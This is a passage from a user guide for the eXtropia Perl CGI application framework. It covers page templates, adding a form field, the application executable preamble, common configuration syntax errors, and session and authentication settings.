This template is used to define the opening HTML for the page. In order to wrap our new site template around the application, we edit the contents of this template:

The following is the modified PageTopView.ttml:

```
<HTML>
  <HEAD>
   <TITLE>[% data.script_display_name %]: [% data.page_title %]</TITLE>
  </HEAD>
[% IF data.css_view_url %]
  <LINK REL = "stylesheet" TYPE = "text/css"
        HREF = "[% data.css_view_url %]">
[% END %]
   <BODY>

  <TABLE BORDER = "0" WIDTH = "100%" HEIGHT = "100%">
  <TR BGCOLOR = "BLACK">
   <TD COLSPAN = "2" ALIGN = "CENTER">
   <FONT COLOR = "WHITE">
  <H2>The Ugly (but different) Site Template</H2>
  </FONT>
  </TD>
  </TR>

    <TR>
    <TD WIDTH = "110" VALIGN = "TOP" BGCOLOR = "000000">
    <FONT COLOR = "WHITE">
    Site Menu
    <BR><A HREF = "blah.html">Home</A>
    <BR><A HREF = "shmoogy.html">Contact Us</A>
    <BR><A HREF = "bloogy.html">Products</A>
    </FONT>
    </TD>

    <TD>
```

3.3.2 Step 2: Modify PageBottomView.ttml

Now that we have started wrapping a table around the application, we must close the table in Page-BottomView.ttml:

```
    </TD>
    </TR>
    </TABLE>
    </BODY>
    </HTML>
```

3.3.3 Step 3: Modify the View parameters

It is also possible that you will want to change some of the global view parameters. In particular, you might want to change `-SCRIPT_DISPLAY_NAME` so that you can globally modify the contents of the `<TITLE></TITLE>` section of every view.

To change the title, all you need to do is modify `-SCRIPT_DISPLAY_NAME` as shown in the following example. While you are at it, you'll probably want to modify the URL specific parameters too.

```
my @VIEW_DISPLAY_PARAMS = (
   [ ... other view parameters ... ]
    -DOCUMENT_ROOT_URL     => 'http://yourdomain.com/',
    -IMAGE_ROOT_URL        => 'http://yourdomain.com/images/',
    -SCRIPT_DISPLAY_NAME   => 'The Ugly (but different) Site',
   [ ... other view parameters ... ]
);
```

What's more, you can feel free to add your own parameters so that all views can access your custom globals. Consider the following example in which we add a `-COPYRIGHT_NOTICE` global view parameter.

```
my @VIEW_DISPLAY_PARAMS = (
    [ ... other view parameters ... ]
    -DOCUMENT_ROOT_URL     => 'http://yourdomain.com/',
    -IMAGE_ROOT_URL        => 'http://yourdomain.com/images/',
    -SCRIPT_DISPLAY_NAME   => 'The Ugly (but different) Site',
    -COPYRIGHT_NOTICE      => 'Copyright is anachronistic!!!!',
    [ ... other view parameters ... ]
);
```

To access the value of `-COPYRIGHT_NOTICE` in any template, all you have to do is to write:

```
[% data.copyright_notice %]
```

3.3.4 Step 4: Modify the Default View name

Of course, now you have modified how the application works. That is, whereas the application was initially set within the HTML frameset defined by FrameView.ttml, you are now using only a single window. As a result, you are going to need to modify `@VIEW_DISPLAY_PARAMS` in the application executable (eg *mlm.cgi*) because you no longer require the use of frames. Instead, you want the application to use some other template such as *BasicDataView.ttml* as the default view as shown in the following code example.

```
my @VIEW_DISPLAY_PARAMS = (
    [ ... other view parameters ... ]
    -HOME_VIEW                    => BasicDataView
    [ ... other view parameters ... ]
);
```

3.3.5 Step 5: Optionally add new view to the @VALID_VIEWS array

If you had actually created a new view, you would also have had to add it to the `@VALID_VIEWS` array in the application executable as shown below. Of course, so far we have not added a new view, we have just modified an existing one.

```
my @VALID_VIEWS = qw(
    [ ... other views ... ]
    MyNewView
    [ ... other views ... ]
);
```

3.4 Configuration Example 3: Add a Field

Finally, let's review the steps involved in adding a field to the data source. In this case, let's add an `age` field. To do so, we must do the following:

1. **Modify the $INPUT_WIDGET_DEFINITIONS and @INPUT_WIDGET_DISPLAY_ORDER variables in the application executable.**
2. **Add the new field to the data source field array.**
3. **Add the new field to the email display fields array.**
4. **EXTRA CREDIT! Optionally add any data handler routines that might be necessary.**

3.4.1 Step 1: Modify the input widget variables

The first thing that you must do is to modify the views that are used to provide interactivity with the client. These would include the Add, Modify and Delete forms in WebDB or the Comment Form in WebResponder.

Whichever the case, HTML form input fields are all defined in the application executable using the `$INPUT_WIDGET_DEFINITIONS` and `@INPUT_WIDGET_DISPLAY_ORDER` variables in the application executable. The details behind this are discussed in the DataSource Configuration Section of the Customization Chapter in this guide.

To add the new age field to a form with first name and last name for example, you might use something such as the following:

```
my $INPUT_WIDGET_DEFINITIONS = {
    age => [
        -DISPLAY_NAME => 'Age',
        -TYPE         => 'textfield,
        -NAME         => 'age',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ],
    fname => [
        -DISPLAY_NAME => 'First Name',
        -TYPE         => 'textfield',
        -NAME         => 'fname',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ],
    lname => [
        -DISPLAY_NAME => 'Last Name',
        -TYPE         => 'textfield',
        -NAME         => 'lname',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ]
};

my @INPUT_WIDGET_DISPLAY_ORDER = qw(
        fname
        lname
        age
);
```

3.4.2 Step 2: Add the new field to the datasource field array

Once the forms are modified, you will have to modify the data source configuration so that the `age` parameter will be expected.

Note that the input field that we use for the `age` parameter is: `<INPUT TYPE = "TEXT" NAME = "age">`.

Thus, we must add `age` to the `@DATASOURCE_FIELD_NAMES` list.

```
my @DATASOURCE_FIELD_NAMES = qw(
        item_id
        fname
        lname
        age
);
```

Notice that we added the `age` field last in the list. The placement is important because it corresponds directly with the way data is stored in certain data sources such as *DataSource::File*.

> **WARNING: If you already have existing records with no age field, you will either have to delete them from the data file or add blank fields after the insertion point. Otherwise, the data source will not correctly reflect the underlying data.**

Specifically, if you were using a file-based data source, you would end up with rows like the following:

```
id|fname|lname|age
id|fname|lname|age
id|fname|lname|age
```

3.4.3 Step 3: Add the new field to the email display fields array

If you are emailing notification or receipts, you will also want to add the `age` value to the `@EMAIL_DISPLAY_FIELDS` list in the application executable so that the age value will show up in the bodies of email receipts and notifications.

```
my @EMAIL_DISPLAY_FIELDS = qw(
        fname
        lname
        age
);
```

3.4.4 Step 4: Add any data handler routines that might be necessary

Finally, if it makes sense for your application requirements, you can modify the data handler manager to handle the new form field. In this case, we specify that age is a required field and that it must contain a number. Note that if you want more details on data handler managers, check out the Application Development Toolkit Guide in the Further References appendix.

```
my @ADD_FORM_DH_MANAGER_CONFIG_PARAMS = (
    -TYPE         => 'CGI',
    -CGI_OBJECT   => $CGI,
    -DATAHANDLERS => [qw(
        Exists
        HTML
        Number
        )],
    -ESCAPE_HTML_TAGS => [qw(
        fname
        lname
        age
        )],
    -IS_NUMBER => [qw(
        age
        )],
    -IS_FILLED_IN => [qw(
        fname
        lname
        age
        )]
);
```

;o)

4 Customizing eXtropia Applications

4.1 Overview

NOTE: If you are not familiar with installing eXtropia applications You should consider reading the enclosed chapter on Installing eXtropia Applications.

The application executable, typically called *app_name.cgi* (eg. *webdb.cgi*), serves two purposes. It is both the executable file that is called from the browser and is the file that defines the configuration of the application.

As you can see if you read through any of the eXtropia application executables, there is really only a half dozen lines of real Perl code. Most of the file is actually composed of configuration parameters in the form of arrays and hashes.

In order to configure the application, you must edit the configuration parameters in this file.

4.2 Modifying the Application Executable

As we said earlier, all configuration parameters in eXtropia applications are defined in the application executable. Lets look through the contents of a generic application executable to understand what configuration options are available.

4.2.1 Understanding the Application Executable Preamble

Each application executable begins with a standard preamble shown below.

```
#!/usr/bin/perl -wT

use strict;
use CGI;
use CGI::Carp qw(fatalsToBrowser);

use lib qw(
    ./Modules
    ./Apps
    ./Views/Extropia/AppName
    ./Views/Extropia/AuthManager
    ./Views/Extropia/StandardTemplates
);

use Extropia::AppName;
use Extropia::View;
use Extropia::SessionManager;

my $CGI = new CGI() or
     die("Unable to construct the CGI object in  app_name.cgi. " .
         "Please contact the webmaster.");

my $VIEW_LOADER = new Extropia::View() or
    die("Unable to construct the VIEW LOADER object in " .
        "app_name.cgi. Please contact the webmaster.");

foreach ($CGI->param()) {
    $CGI->param($1,$CGI->param($_)) if (/(.*)\.x/);
}
```

NOTE: Dont forget that we expect you to move all files other than the application executable out of the web documents tree. As a result, you will need to modify the paths specified in the 'use lib' command to point to the directory which you have moved the other files to.

Performing this step is not only cleaner in terms of how the web server is programmed, it is also more secure. Nothing should be accessible from web browser clients other than the CGI script itself.

The preamble performs six functions:

1. **Execute Perl using -Tw.**
2. **Import supporting Perl modules.**
3. **Define the library path for eXtropia modules.**
4. **Import eXtropia modules.**
5. **Instantiate helper objects.**

6. **Standardize incoming HTML form submit button data.**

Step 1: Execute perl

```
#!/usr/bin/perl -wT
```

As with all CGI applications, the first thing that the application executable does is to specify the location of the Perl interpreter. In this case, we have specified that the web server should be able to find the Perl interpreter in the directory */usr/bin*.

As we mentioned earlier, you may need to modify this line to point to the Perl interpreter on your local web server.

Also, notice that we use the -T and -w pragmas when calling the Perl interpreter. This assures that our application will be secure (-T turns on taint mode which treats all user-defined input as bad unless it is specifically dealt with by the developer) and that we will receive warnings (-w turns on warnings).

While -w is primarily useful for debugging. The -T is crucial if you want to assure that your application meets minimum security requirements. If you have questions about taint mode, you can consult the taint mode section of the Security chapter in this guide.

> **NOTE: Dont underestimate the benefits of warnings. Warnings are excellent tools that can help you track down the most pesky and elusive of bugs such as uninitialized variables that can be so subtle and random appearing in how they break your program that there is no other way to realistically find them.**

Step 2: Import Supporting Perl Modules

```
use strict;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
```

All eXtropia applications import the functionality of the *strict.pm* and *CGI.pm* modules (which should both be installed by default with most modern Perl distributions. If they are not installed on your server, just ask your systems administrator to install them or download them from CPAN: http://www.cpan.org/).

> **NOTE: "use" is a command that tells the Perl interpreter to read and compile a module, then call the module's import() method, with any parameters that have been provided (eg. _rearrange() and _rearrangeAsHash()).**

The strict Module

The *strict* module works like an anal retentive guardian angel. Essentially, it reviews your code for certain types of careless errors. If you have declared and used all your variables correctly, strict will disappear into the background.

But if you use a variable without first declaring it, strict will warn you that you are probably making a typo. We use strict in our applications because though it can be a pain in the neck to declare everything, it often makes for more maintainable code in which bugs are more easily found.

The CGI Module

CGI.pm is a module that we use to parse incoming data from the web browser. Of course, the module itself does many more useful things as documented in the wonderful book *The Official Guide to Programming with CGI.pm* by Lincoln Stein. However, though it does lots of other things, for our purposes, parsing the form data and providing access to it with a simple API is all we need.

As you will see later, we can access the value of any incoming form field using the `param()` method in *CGI.pm*. Thus, if you had an HTML form such as the following:

```
<FORM>
    <INPUT TYPE = "TEXT" NAME = "fname">
    <INPUT TYPE = "SUBMIT">
</FORM>
```

We could access whatever the user typed in the fname `<INPUT>` text field by using:

```
$first_name = $cgi->param('fname');
```

Quite simple. And the fact that we don't need to worry about all the intricacies of parsing HTTP streams is wonderful.

Note that we also import the Carp module of CGI.pm so that if errors occur in the execution of our application, the text of the error messages will be displayed in the browser window. Without using this pragma, when errors occur, we'd get the dreaded and utterly useless ''500 Server Error'' message rather than the detailed error messages provided by Perl.

Step 3: Define the Library Path for Extropia Modules

```
use lib qw(
    ./Modules
    ./Apps
    ./Views/Extropia/AppName
    ./Views/Extropia/AuthManager
    ./Views/Extropia/StandardTemplates
);
```

All eXtropia applications must also define a library search path for eXtropia Modules. This is done using the ''lib'' module that adds a set of Module directories to the `@INC` array so that we can use modules in those directories.

Step 4: Import eXtropia Modules

```
use Extropia::AppName;
use Extropia::View;
use Extropia::SessionManager;
```

Every eXtropia application must also load eXtropia-specific modules that it will need.

Typically, we first import the functionality of the application object that is located in *app_name/Apps/* by default.

For example, if you were installing *WebGuestbook*, you would use:

```
use Extropia::WebGuestbook;
```

Next we import *View.pm*. And for those applications that require session management, we import *SessionManager.pm* (both modules can be found in the *app_name/Modules/Extropia* directory).

The application object does most of the work for any given application. If you want to learn more about how it works, consult the chapter specific to the application.

Extropia::View defines how to load the user interface modules (views are located by default in *appname/Views/Extropia*) and display them to the web browser. Consult the look-and-feel chapter in this guide if you have questions about how views work.

Extropia::SessionManager helps us manage sessions and is included only in applications that require session management. Consult the Session and Session Management documentation (see the Further References appendix) if you have require more information on how to customize these.

Step 5: Instantiate Helper Objects

```
my $CGI = new CGI() or
    die("Unable to construct the CGI object in appname.cgi. " .
        "Please contact the webmaster.");

my $VIEW_LOADER = new Extropia::View() or
    die("Unable to construct the VIEW LOADER object in " .
        "appname.cgi. Please contact the webmaster.");
```

All eXtropia applications require the support of helper objects. `$CGI` is the instantiated CGI object. `$VIEW_LOADER` is a basic View object. Notice that we will exit gracefully using `die()` if there is a problem creating either of these objects.

Step 6: Standardize Incoming Form Data

```
foreach ($CGI->param()) {
    $CGI->param($1,$CGI->param($_)) if (/(.*)\.x/);
}
```

Finally, a simple `foreach` loop is used to standardize all incoming submit button values. In particular, we would like to be able to treat submit buttons of type `IMAGE` just as we would standard submit buttons.

When an `IMAGE` submit button is clicked, the browser does not simply send a button name=value pair in the HTTP stream as it would do for a standard button. Instead, the browser sends a set of coordinates corresponding to the position on the image that the user clicked such as:

```
button_name.x=value&button_name.y=value
```

In the case of eXtropia applications however, we are primarily interested in the fact that a button was clicked rather than the actual position on an image map.

Thus, we use the foreach loop to strip out the `.x` and `.y` portions of the button name so that `IMAGE` submit events look exactly like any other standard button input. This gives us the flexibility to change the user interface without changing the application code.

4.3 How to Modify and Test Configuration Options

How will your particular installation of the application work? How will it authenticate users, send email, or log its usage? Configuration for all eXtropia applications is done by modifying arrays and hashes of `NAME => VALUE` pairs that can be found in the application executable (eg. *webguestbook.cgi*).

For example, consider the following two alternatives for @MAIL_CONFIG_PARAMS.

In the first case, we'll configure `@MAIL_CONFIG_PARAMS` to use the *Mail::MailSender* driver:

```
my @MAIL_CONFIG_PARAMS = (
        -TYPE => 'MailSender'
    );
```

NOTE: Notice that the NAME in this example is -TYPE and the VALUE is 'MailSender'

Alternatively, you could configure `@MAIL_CONFIG_PARAMS` to use the Mail::Sendmail driver:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE              => 'Sendmail',
    -MAIL_PROGRAM_PATH => '/usr/lib/sendmail'
);
```

Notice that unlike *MailSender*, the *Sendmail* driver takes an optional `-PATH` name/value parameter. Different drivers usually require different configuration parameters.

As a result, if you want to use a driver other than the default one, you will need to consult the documentation for each driver to get the details. For example, to read about all the configuration parameters required for *Mail* drivers, you could consult the documentation for *Extropia::Mail* and all *Extropia::Mail* drivers such as *Extropia::Mail::Blat*.

Regardless, the main point that you should take away from this section is that configuration of an application is a matter of defining the name/value pairs for whatever driver you wish to use.

Read the documentation on *Mail* for more detail (refer to the Further References section for this section).

4.4 Spotting Configuration Errors

As you modify these name/value pairs, there are several rules you should keep in mind. We have summarized a list of these rules and the consequences of breaking those rules:

4.4.1 Declaring Configuration Variables

RULE: Declare your variables using ’my’.

INCORRECT:

```
@MY_CONFIG_ARRAY = (
    -NAME => ’value’
);
```

CORRECT:

```
my @MY_CONFIG_ARRAY = (
    -NAME => ’value’
);
```

COMMAND LINE ERROR MESSAGE:

```
Global symbol "@CONFIG_PARAM_NAME" requires explicit
package name at appname.cgi line [#].
```

WEB BROWSER ERROR MESSAGE:

```
500 Server Error or Software Error
```

4.4.2 Name/Value Pairs

RULE: All NAME/VALUE pairs must be separated by a comma and the final pair should not have a comma after it.

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender'
    -SMTP_ADDRESS => '10.10.1.10'
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
   -TYPE         => 'MailSender',
   -SMTP_ADDRESS => '10.10.1.10'
);
```

COMMAND LINE ERROR MESSAGE:

```
Argument "[PARAM FOLLOWING MISSING COMMA]" isn't numeric in
subtract at appname.cgi line [#].
```

WEB BROWSER ERROR MESSAGE:

```
Required Parameter: -XXX was missing from a method call!
Required Parameter: -YYY was missing from a method call!
Required Parameter: -ZZZ was missing from a method call!"
```

or depending on the parameter:

```
Required Parameter: -PARAM was missing from a method call!
Possible Parameters Are: -PARAM.
```

or alternatively:

```
_getDriver() failed: [Sat Jan 15 13:56:42 2000] appname.cgi:
[Sat Jan 15 13:56:42 2000] appname.cgi: Can't locate
Extropia/ModuleName/0.pm in @INC
```

4.4.3 Configuration Name Formatting

RULE: All NAMEs should be preceded by a ‘‘-’’, be composed of ALL CAPITAL LETTERS, and be spelled correctly.

INCORRRECT:

```
my @MAIL_CONFIG_PARAMS = (
    TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
);
```

COMMAND LINE ERROR MESSAGE:

```
Possibly None unless the loading of the driver is triggered
in application code.
```

or

```
_getDriver() failed: [Sat Jan 15 14:03:57 2000]
appname.cgi: [Sat Jan 15 14:03:57 2000] appname.cgi: Can't
locate Extropia/Module/BadName.pm in @INC
```

WEB BROWSER ERROR MESSAGE:

```
Possibly None unless the loading of the driver is triggered
in the application code.
```

or

```
_getDriver() failed: [Sat Jan 15 14:03:57 2000]
appname.cgi: [Sat Jan 15 14:03:57 2000] appname.cgi: Can't
locate Extropia/Module/BadName.pm in @INC
```

4.4.4 Name/Value Pair Separation Rule

RULE: All NAMEs should be separated from the VALUE with a =>. There may not be a space between = and >.

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         = > 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => ’MailSender’,
    -SMTP_ADDRESS => ’10.10.1.10’
);
```

COMMAND LINE ERROR MESSAGE:

```
syntax error at mlm.cgi line 312, near "= >"
```

or

```
"Can’t modify constant item in scalar assignment at
mlm.cgi line 204..."
```

WEB BROWSER ERROR MESSAGE:

```
500 Server Error or Software Error
```

4.4.5 Another Name/Value Pair Separation Rule

RULE: All NAMEs should be separated from the VALUE with a =>. Dont forget the >.

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         = ’MailSender’,
    -SMTP_ADDRESS => ’10.10.1.10’
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => ’MailSender’,
    -SMTP_ADDRESS => ’10.10.1.10’
);
```

COMMAND LINE ERROR MESSAGE:

```
Can’t modify constant item in scalar assignment at
appname.cgi line [#], near ""paramName","
```

WEB BROWSER ERROR MESSAGE:

```
500 Server Error or Software Error
```

4.4.6 Enclose Values in Quotes

RULE: All values should be enclosed in single or double quotes. You can use single quotes (’’) if there are no variables to interpret (such as $some_variable) in the value.

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => MailSender,
    -SMTP_ADDRESS => ’10.10.1.10’
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => ’MailSender’,
    -SMTP_ADDRESS => ’10.10.1.10’
);
```

COMMAND LINE ERROR MESSAGE:

```
Bareword "MailSender" not allowed while "strict subs" in
use at mlm.cgi line 312.
```

or in the case of a perl special character like ’@’

```
In string, @domainanname now must be written as \@domainname
at appname.cgi line [#], near "name@domainname" [Sat Jan 15
14:13:04 2000] appname.cgi: Global symbol "@domainname" requires
explicit package name at appname.cgi line [#].
```

WEB BROWSER ERROR MESSAGE:

```
500 Server Error or Software Error
```

4.4.7 Named Parameter Naming Convention

RULE: All named parameter must be capital letters

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTp_ADDRESS => '10.10.1.10'
);
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
);
```

COMMAND LINE ERROR MESSAGE:

```
Required Parameter: -XXX was missing from a method call!
```

WEB BROWSER ERROR MESSAGE:

```
Required Parameter: -XXX was missing from a method call!
```

4.4.8 Delimit Config Setting with Parentheses and Semi-Colons

RULE: Don't forget the semi-colon at the end of the definition and the embracing parentheses () around the array definition.

INCORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
)
```

CORRECT:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.10.1.10'
);
```

COMMAND LINE ERROR MESSAGE:

```
"syntax error at mlm.cgi line XYZ, near "my " mlm.cgi:
Global symbol "@SOME_CONFIG_VAR_NAME" requires explicit
package name at mlm.cgi line XYZ.
```

WEB BROWSER ERROR MESSAGE:

```
500 Server Error or Software Error
```

4.5 How To Modify List-Based Configuration Parameters

Note that many configuration parameters accept ‘‘lists’’ as the value part of a name/value pair. For example, the parameter -IS_FILLED_IN shown below specifies two required fields: fname and lname.

```
my @ADD_FORM_DH_MANAGER_CONFIG_PARAMS = (
    -TYPE         => 'CGI',
    -CGI_OBJECT   => $CGI,
    -DATA_TYPES   => [qw(
            Exists
            HTML
        )],
    -TRANSFORM_REMOVE_HTML => [(qw
            fname
            lname
        )],
    -IS_FILLED_IN => [qw(
            fname
            lname
        )]
);
```

It is worth mentioning that these lists are typically anonymous arrays that use the `qw` command to specify quoted whitespace. `qw` is a handy tool that makes configuration of lists far more resistant to careless errors.

Essentially, `qw` means that you do not have to use commas and quotes when defining lists. Any whitespace is assumed to delimit list elements.

For example, an array defined as:

```
my @array = ('first', 'second', 'third');
```

could also be defined using `qw` as:

```
my @array = qw(first second third);
```

In other words, without qw, the same definition would look like:

```
my @ADD_FORM_DH_MANAGER_DEFINE = (
    -TYPE                 => 'CGI',
    -CGI_OBJECT           => $CGI,
    -DATA_TYPES           => [
            'Exists',
            'HTML'
        ],
    -TRANSFORM_REMOVE_HTML => [
            'fname'
            'lname'
        ],
    -IS_FILLED_IN         => [
            'fname',
            'lname'
        ]
    );
```

As you might imagine, in long lists it is easy to make a mistake typing all those commas and quote marks. Can you find the error in the code above (hint: look at the definition for -TRANSFORM_REMOVE_HTML)?

4.6 Understanding Reference-Based Config Parameters

In complex configuration scenarios in which a configuration might involve lists of parameters that themselves contain lists of parameters, it is best to simplify configuration by defining each list as a reference to a list that is defined elsewhere.

4.6.1 References In eXtropia Config Files

For example, consider the following session manager definition that uses a reference to a session configuration.

```
my @SESSION_CONFIG_PARAMS = (
    -TYPE            => 'File',
    -MAX_ACCESS_TIME => 60 * 20,
    -SESSION_DIR     => './Datafiles/Sessions'
);

my @SESSION_MANAGER_CONFIG_PARAMS = (
    -TYPE           => 'FormVar',
    -CGI_OBJECT     => $CGI,
    -SESSION_PARAMS => \@SESSION_CONFIG_PARAMS
```

Breaking out complex definitions into their own parameters makes the configuration easier to follow. If you have any questions about what references are and how to use them, you should consult the References and Data Structures documentation (see the Further References Section). Otherwise, the list below should give you the basic idea.

4.6.2 Reference Syntax Reference

The following list gives a quick overview of the syntax behind using references for the various variable types that may be used in a configuration file.

- scalar

```
Creating a Reference        Dereferencing                  Accessing Data

$ref = \$scalar_variable    $$ref                          Not available
```

- array

```
Creating a Reference        Dereferencing                  Accessing Data

$ref = \@array              $ref = ['anonymous', 'array']; @$ref
                                                           $ref->[x]
```

- hash

```
Creating a Reference        Dereferencing                  Accessing Data

$ref  = \%hash              $ref = {'key1' => 'anon',      %$ref
                                    'key2' => 'hash'};     $ref->{x}
```

- subroutine

```
Creating a Reference        Dereferencing                  Accessing Data

$ref = \&subroutine         $ref = sub ('anon subroutine'); &$ref
                                                           $ref->(x)>
```

4.7 Standard Config Options for eXtropia Applications

Because we wanted the eXtropia applications to be as understandable and as cross-platform as possible, we have taken care to distribute the applications with configurations that are fairly standard between all the applications and that are tuned to the least common denominator.

Our thought was that users could upgrade to bigger and better drivers as needs demanded but that by keeping the default configuration simple and broad, it would be easy for most users, with less demanding requirements, to install the applications and have them work right out of the box.

For example, we use file-based data sources and sessions, CGI-based authentication, and file-based locking because every web server will be able to handle these drivers. However, it is our expectation that many users will upgrade to more powerful drivers such as DataSource::DBI and Lock::Flock.

There are ten major components to applications that are configured in the application executable (eg *webguestbook.cgi*). These are

1. **Session**
2. **Session Management**
3. **Authentication**
4. **Authentication Manager**
5. **DataHandler**
6. **DataSource**
7. **Logging**
8. **Mailing**
9. **Encryption**
10. **View**

Of course, not every eXtropia application will use all of the components. Lets take a look at each type of configuration individually.

4.7.1 Session and Session Manager Configuration

In order to maintain state in a CGI application, it is necessary to store information after each form submission. That is, since HTTP does not keep a record of communication, the application must.

For example, a web store usually maintains a list of products that a client has ordered in a virtual shopping cart. It would not do if the application kept forgetting what the client had already ordered every time the client added a new item to their cart!

That is where session and session managers come in. A session manager provides the glue necessary to create and manage a unique session in an otherwise stateless environment. The following figure shows how session setup integrates with the rest of eXtropia application setup.

[IMAGE]

To maintain state, eXtropia applications use *Extropia::SessionManager* which in turn uses *Extropia::Session*. Session configuration is achieved by defining two variables: `@SESSION_CONFIG_PARAMS` and @SESSION_MANAGER_PARAMS. A sample set of parameters that are used to define these values is shown below.

1. `@SESSION_CONFIG_PARAMS`

Specifies the configuration parameters used for the Extropia::Session object that will implement your session.

- -TYPE

  Specifies the driver type. By default, eXtropia applications use *Session::File*.

- -MAX_ACCESS_TIME

  Specifies how long sessions should remain active. By default, eXtropia applications maintain sessions for 20 minutes (60 seconds * 20).

- -SESSION_DIR

  Specifies the location of the directory in which session files are stored. By default, eXtropia applications use the *./Datafiles/Sessions* directory but you are advised to move this directory outside of the web documents tree.

2. `@SESSION_MANAGER_PARAMS`

Specifies the configuration parameters used for the *Extropia::SessionManager* object that performs session management.

- -TYPE

  Specifies the type of session manager to use. By default, eXtropia applications use *SessionManager::FormVar*.

- -CGI_OBJECT

  Contains a reference to a CGI object.

- -SESSION_PARAMS

  Contains a reference to @SESSION_CONFIG_PARAMS.

NOTE: FormVar session managers pull their session id parameter from an incoming form value keyed to the name session by default.

Thus, it is crucial that every form that is managed by a *FormVar* SessionManager has the session id embedded such as in the following `HIDDEN` form tag:

```
<INPUT TYPE = "HIDDEN" NAME = "session" VALUE = "XJDKFUREHJDKD">
```

You will see that for all the Views that require session management a hidden tag such as the above is used.

All URLs must also be encoded with the session id such as in the following example:

http://www.mydomain.com/cgi-bin/my_app.cgi?session=XJDKFUREHJDKD

Session id values can be extracted from any session object using the `getId()` method such as:

```
$session_id = $session->getId();
```

To help you get a better feel for what session configuration looks like, below is a standard configuration:

```
my @SESSION_CONFIG_PARAMS = (
    -TYPE            => 'File',
    -MAX_ACCESS_TIME => 60 * 20,
    -SESSION_DIR     => './Datafiles/Sessions'
);

my @SESSION_MANAGER_CONFIG_PARAMS = (
        -TYPE           => 'FormVar',
        -CGI_OBJECT     => $CGI,
        -SESSION_PARAMS => \@SESSION_CONFIG_PARAMS
);
```

4.7.2 Authentication Configuration

In eXtropia applications, session configuration often goes hand in hand with authentication configuration because the primary usage for session objects in eXtropia applications is to maintain state during an authenticated session.

Authentication configuration is achieved by defining six variables:

Each of these variables should be configured according to the specifics of the drivers you wish to use. However, to achieve cross-platform compatibility, eXtropia applications use file-based authentication.

1. `@AUTH_USER_DATASOURCE_FIELD_NAMES`

   Specifies the list of all of the fields in the user data source.

2. `@AUTH_USER_DATASOURCE_CONFIG_PARAMS`

   Specifies the configuration for the datasource driver used for user details.

   - -TYPE

     Specifies the name of the data source driver to use for the user details file. By default, eXtropia applications use *DataSource::File*.

- -FIELD_DELIMITER

  Specifies the character used to delimit fields in the user details data source. By default, eXtropia applications use the pipe character (‘‘|’’).

  -FIELD_NAMES

  Specifies an ordered list of field names representing the fields in the data source. By default, contains a reference to @AUTH_USER_DATASOURCE_FIELD_NAMES.

- -FILE

  Specifies the location of the file used as the user details data source. By default, eXtropia applications use *./Datafiles/users.dat*. However, remember to move the Datafiles directory outside the web document tree.

3. `@AUTH_ENCRYPT_CONFIG_PARAMS`

   Defines the configuration for the encryption driver used to encrypt the passwords in a registered users data source.

   - -TYPE

     Specifies the encryption driver used for encrypting passwords. By default, eXtropia applications use the *Crypt* driver. This driver may not be available on your system, especially on older Windows installations. so you may have to change this.

4. `%USER_FIELDS_TO_DATASOURCE_MAPPING`

   Specifies the mappings used between the registration form generated by the *AuthManager* and the actual datasource that stores user information.

5. `@AUTH_CACHE_CONFIG_PARAMS`

   Specifies the means by which the authentication object is cached.

   - -TYPE

     Specifies the type of caching to use. By default, eXtropia applications use *Extropia::Session*-based caching.

   - -SESSION_OBJECT

     Contains a reference to a session object.

6. `@AUTH_CONFIG_PARAMS`

Contains references to the five configuration variables defined above.

- -TYPE

  Specifies the type of auth param to use.

  -USER_DATASOURCE_PARAMS

  Specifies the Datasource configuration parameters to use for the session. Contains a reference to `@AUTH_USER_DATASOURCE_CONFIG_PARAMS`

- -ENCRYPT_PARAMS

  Specifies the Encryption configuration parameters to use for the session. Contains a reference to `@AUTH_ENCRYPT_CONFIG_PARAMS`

- -AUTH_CACHE_PARAMS

  Specifies the Cache configuration parameters to use for the session. Contains a reference to `@AUTH_CACHE_CONFIG_PARAMS`

- -ADD_REGISTRATION_TO_USER_DATASOURCE

  Specifies whether or not to allow user registration. A 1 specifies that the application should allow registration. 0 specifies that only registered users may log in.

- -USER_FIELDS_TO_DATASOURCE_MAPPING

  References an ordered list specifying the fields in the data source. Contains a reference to %USER_FIELDS_TO_DATASOURCE_MAPPING.

NOTE: If you want to add or subtract fields from the user file (eg. Datafiles/users.dat), you can focus on the following parameters that together must be consistent:

```
%USER_FIELDS_TO_DATASOURCE_MAPPING
@AUTH_USER_DATASOURCE_FIELD_NAMES
@USER_FIELDS
%USER_FIELD_NAME_MAPPINGS
@AUTH_REGISTRATION_DATAHANDLER_PARAMS.
```

You must also modify the package *Extropia::Auth::RegistrationScreen* in the view defined in *Apps/Views/AuthManager/CgiViews.pm*.

To help you get a better feel for what authentication configuration looks like, the following shows a standard configuration.

```
my @AUTH_USER_DATASOURCE_FIELD_NAMES = qw(
    username
    password
    groups
    firstname
    lastname
    email
);

my @AUTH_USER_DATASOURCE_CONFIG_PARAMS = (
    -TYPE                 => 'File',
